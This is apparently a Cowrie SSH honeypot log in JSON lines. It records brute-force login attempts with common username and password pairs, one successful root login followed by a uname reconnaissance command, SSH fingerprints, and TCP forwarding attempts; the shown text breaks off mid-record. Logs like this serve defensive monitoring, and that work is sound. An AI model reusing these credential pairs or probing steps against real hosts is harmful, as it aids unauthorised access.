\\x91H\\xad\\x01\\xaf\\xea\\t\\xf3\\x0f\"\\x19x\\x9d\\xbaN\\x0cM\\xe6\\x08\\xefz\\xaa\\xe7\\xb7\\xd2h\\xfd\\x1c\\x98%\\x7f\\x9e\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x92\\xbbt\\x92@2\\xc72\\xa3\\xde7Y\\xf1/[\\xd9\\x9e\\xef\\xf9\\xdc\\x86\\x03\\xddn4\\x81\\xa6\\t>\\x00_w\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:54:36.120099Z","src_ip":"77.90.185.17","session":"055003c24732","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.157.119","dst_port":443,"src_ip":"77.90.185.17","src_port":50206,"message":"direct-tcp connection request to 142.251.157.119:443 from 127.0.0.1:50206","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:54:36.334288Z","session":"055003c24732","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.157.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.157.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:54:37.362898Z","src_ip":"77.90.185.17","session":"055003c24732","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.157.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\n\\xf1:\\xde\\xd1I\\x9f\\xf2\\x1a\\xa8\\xba\\x96\\xb6\\xac\\xf12\\xae\\xd4-\\x99\\xc7\\x04M7\\xe4\\xb9nVX\\x9e:\\x14 z\\xf7#\\x13\\xd2\\x11\\xc3\\xa9IM\\xe4\\xa1\\xf1%fPT\\xfe\\xc8\\xa9W\\xd4\\x01E\\xe2B\\xf9\\xec\\x8c\\x962\\xd2\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 X\\xe5\\r ]\\xfb\\x8f\\xf5!D\\x8e\\xf6 ]\\xd3\\x92\\x94dON<\\\\\\xae0\\x80\\xa0\\xa7\\\\;=\\xc6M\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.157.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\n\\xf1:\\xde\\xd1I\\x9f\\xf2\\x1a\\xa8\\xba\\x96\\xb6\\xac\\xf12\\xae\\xd4-\\x99\\xc7\\x04M7\\xe4\\xb9nVX\\x9e:\\x14 z\\xf7#\\x13\\xd2\\x11\\xc3\\xa9IM\\xe4\\xa1\\xf1%fPT\\xfe\\xc8\\xa9W\\xd4\\x01E\\xe2B\\xf9\\xec\\x8c\\x962\\xd2\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 X\\xe5\\r ]\\xfb\\x8f\\xf5!D\\x8e\\xf6 ]\\xd3\\x92\\x94dON<\\\\\\xae0\\x80\\xa0\\xa7\\\\;=\\xc6M\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:54:37.366919Z","src_ip":"77.90.185.17","session":"055003c24732","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:54:37.593687Z","src_ip":"77.90.185.17","session":"055003c24732","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":37230,"dst_ip":"10.17.0.5","dst_port":22,"session":"a90a5916fe90","protocol":"ssh","message":"New connection: 92.118.39.92:37230 (10.17.0.5:22) [session: a90a5916fe90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:54:59.375816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:54:59.379908Z","src_ip":"92.118.39.92","session":"a90a5916fe90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:54:59.482003Z","src_ip":"92.118.39.92","session":"a90a5916fe90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:54:59.791309Z","src_ip":"92.118.39.92","session":"a90a5916fe90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:55:00.892744Z","src_ip":"92.118.39.92","session":"a90a5916fe90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":39992,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1e28b380ea3","protocol":"ssh","message":"New connection: 92.118.39.76:39992 (159.203.135.109:22) [session: b1e28b380ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:55:01.132640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:55:01.137261Z","src_ip":"92.118.39.76","session":"b1e28b380ea3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:55:01.242384Z","src_ip":"92.118.39.76","session":"b1e28b380ea3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:55:01.572991Z","src_ip":"92.118.39.76","session":"b1e28b380ea3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:55:02.678089Z","src_ip":"92.118.39.76","session":"b1e28b380ea3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":42136,"dst_ip":"159.203.135.109","dst_port":22,"session":"4506be96b170","protocol":"ssh","message":"New connection: 193.32.162.151:42136 (159.203.135.109:22) [session: 4506be96b170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:56:11.759393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:56:11.763680Z","src_ip":"193.32.162.151","session":"4506be96b170","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:56:12.024714Z","src_ip":"193.32.162.151","session":"4506be96b170","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"p@ssw0rd","message":"login attempt [hduser/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:56:12.371445Z","src_ip":"193.32.162.151","session":"4506be96b170","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:56:13.479024Z","src_ip":"193.32.162.151","session":"4506be96b170","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":53860,"dst_ip":"10.17.0.5","dst_port":22,"session":"533394616dd9","protocol":"ssh","message":"New connection: 92.118.39.92:53860 (10.17.0.5:22) [session: 533394616dd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:57:17.993686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:57:17.997826Z","src_ip":"92.118.39.92","session":"533394616dd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:57:18.106977Z","src_ip":"92.118.39.92","session":"533394616dd9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:57:18.436435Z","src_ip":"92.118.39.92","session":"533394616dd9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:57:18.681354Z","src_ip":"92.118.39.92","session":"533394616dd9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:57:18.684887Z","src_ip":"92.118.39.92","session":"533394616dd9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:57:18.792757Z","src_ip":"92.118.39.92","session":"533394616dd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:57:18.797362Z","src_ip":"92.118.39.92","session":"533394616dd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":52888,"dst_ip":"10.17.0.5","dst_port":22,"session":"e072559b6be2","protocol":"ssh","message":"New connection: 185.156.73.233:52888 (10.17.0.5:22) [session: e072559b6be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:57:34.718615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:57:34.723504Z","src_ip":"185.156.73.233","session":"e072559b6be2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;non